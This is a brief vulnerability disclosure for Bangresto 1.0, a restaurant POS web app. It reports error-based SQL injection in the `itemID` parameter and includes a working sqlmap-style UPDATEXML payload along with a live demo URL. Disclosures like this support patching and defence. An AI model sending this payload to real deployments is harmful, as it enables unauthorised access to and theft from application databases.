Bangresta 1.0 SQL Injection Vulnerability

## Title: Bangresto 1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
## Demo: https://axcora.my.id/bangrestoapp/start.php
## Software: https://github.com/mesinkasir/bangresto
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto

## Description:
The `itemID` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the itemID parameter, and a database
error message was returned.
The attacker can be stooling all information from the database of this
application.

## STATUS: CRITICAL Vulnerability

[+] Payload:

```MySQL
---
Parameter: itemID (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x7171767871,(SELECT
(ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto)

## Proof and Exploit:
[href](https://streamable.com/moapnd)

## Time spent
`00:30:00`